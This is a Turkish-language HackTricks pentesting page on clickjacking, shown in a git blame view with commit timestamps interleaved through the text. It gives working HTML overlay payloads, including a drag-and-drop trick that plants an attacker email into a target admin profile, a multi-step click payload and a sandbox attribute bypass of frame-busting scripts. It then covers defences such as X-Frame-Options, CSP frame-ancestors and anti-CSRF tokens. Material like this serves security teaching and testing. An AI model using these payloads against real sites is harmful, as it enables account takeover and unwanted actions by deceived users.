hacktricks/pentesting-web/clickjacking.md

224 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** bir platform oluşturun.\
2024-02-10 18:14:16 +00:00
Bugün Erişim Alın:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 18:14:16 +00:00
## Clickjacking Nedir
Clickjacking saldırısında, bir **kullanıcı**, ya **görünmez** ya da farklı bir öğe olarak **kamuflaj yapmış** bir web sayfasındaki bir **öğeyi tıklamaya kandırılır**. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması gibi.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
### Formları Önceden Doldurma Hilesi
Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini **doldurmak mümkün olabilir**. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeyi Gönder'e basmasını sağlamak için clickjacking yükünü gönderebilir.
2024-02-10 18:14:16 +00:00
### Formu Sürükle ve Bırak ile Doldurma
2020-10-13 11:29:54 +00:00
Kullanıcıdan bir formu **doldurmasını** istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi **Sürükle ve Bırak** etmesini isteyebilirsiniz, [**bu örnekte olduğu gibi**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
```markup
<style>
2024-02-10 18:14:16 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
2024-02-10 18:14:16 +00:00
### Çok Adımlı Yük
```markup
<style>
2024-02-10 18:14:16 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Sürükle ve Bırak + Tıkla yükü
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Eğer bir kullanıcının **XSS saldırısını tetiklemek için bir öğeye tıklaması gereken** bir saldırı tespit ettiyseniz ve sayfa **Clickjacking'e karşı savunmasız** ise, kullanıcıyı düğmeye/linke tıklamaya kandırmak için bunu istismar edebilirsiniz.\
2024-02-10 18:14:16 +00:00
Örnek:\
_Bir hesabın bazı özel detaylarında **kendine XSS** buldunuz (detaylar **yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir**). Bu detayları ayarlamak için olan **form** sayfası **Clickjacking**'e karşı **savunmasız** ve GET parametreleri ile **formu önceden doldurabilirsiniz**._\
\_\_Bir saldırgan, bu sayfaya **XSS payload** ile **formu önceden doldurarak** bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** **formu Göndermeye** kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'yi yürütecektir**.
## Clickjacking'i Azaltma Stratejileri
2024-02-10 18:14:16 +00:00
### İstemci Tarafı Savunmaları
İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:
* Uygulama penceresinin ana veya üst pencere olmasını sağlama.
* Tüm çerçeveleri görünür hale getirme.
* Görünmez çerçevelere tıklamayı engelleme.
* Kullanıcıları potansiyel Clickjacking girişimlerine karşı tespit etme ve uyarılarda bulunma.
Ancak, bu çerçeve kırma betikleri atlatılabilir:
* **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine dayanarak bu betikleri engelleyebilir.
* **HTML5 iframe `sandbox` Özniteliği:** Bir saldırgan, `allow-forms` veya `allow-scripts` değerleri ile `allow-top-navigation` olmadan `sandbox` özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamasını engeller, örn.
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
2024-02-10 18:14:16 +00:00
### Sunucu Tarafı Savunmaları
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
**`X-Frame-Options` HTTP yanıt başlığı**, bir sayfanın `<frame>` veya `<iframe>` içinde görüntülenmesinin meşruiyeti hakkında tarayıcılara bilgi verir ve Clickjacking'i önlemeye yardımcı olur:
- `X-Frame-Options: deny` - Hiçbir etki alanı içeriği çerçeveliyemez.
- `X-Frame-Options: sameorigin` - Yalnızca mevcut site içeriği çerçeveliyebilir.
- `X-Frame-Options: allow-from https://trusted.com` - Yalnızca belirtilen 'uri' sayfayı çerçeveliyebilir.
- Bu yönergeyi desteklemeyen tarayıcılar için sınırlamalara dikkat edilmelidir. Bazı tarayıcılar CSP frame-ancestors yönergesini tercih eder.
2024-02-10 18:14:16 +00:00
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
CSP'deki **`frame-ancestors` yönergesi**, Clickjacking koruması için tavsiye edilen yöntemdir:
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzerdir.
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzerdir.
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from` ile benzerdir.
Örneğin, aşağıdaki CSP yalnızca aynı etki alanından çerçevelenmeyi sağlar:
`Content-Security-Policy: frame-ancestors 'self';`
Daha fazla ayrıntı ve karmaşık örnekler [frame-ancestors CSP belgelerinde](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerinde](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bulunabilir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
2024-02-06 03:10:38 +00:00
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemede yardımcı olan bir güvenlik önlemidir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
#### `frame-src` Yönergesi
2024-02-10 18:14:16 +00:00
- Çerçeveler için geçerli kaynakları tanımlar.
- `default-src` yönergesinden daha spesifiktir.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere izin verir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
#### `child-src` Yönergesi
* Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtıldı.
* frame-src ve worker-src için bir yedek olarak işlev görür.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.
2024-02-06 03:10:38 +00:00
2024-02-10 18:14:16 +00:00
**Kullanım Notları:**
* Kullanım Dışı: child-src, frame-src ve worker-src lehine kademeli olarak kaldırılmaktadır.
* Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
* Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.
2024-02-06 03:10:38 +00:00
#### JavaScript Çerçeve-Kırma Komut Dosyaları
2024-02-06 03:10:38 +00:00
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 18:14:16 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Anti-CSRF Tokenlarını Kullanma
* **Token Doğrulama:** Web uygulamalarında anti-CSRF tokenlarını kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
2024-02-10 18:14:16 +00:00
## Referanslar
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'i desteklemenin diğer yolları:
2023-12-31 01:25:17 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>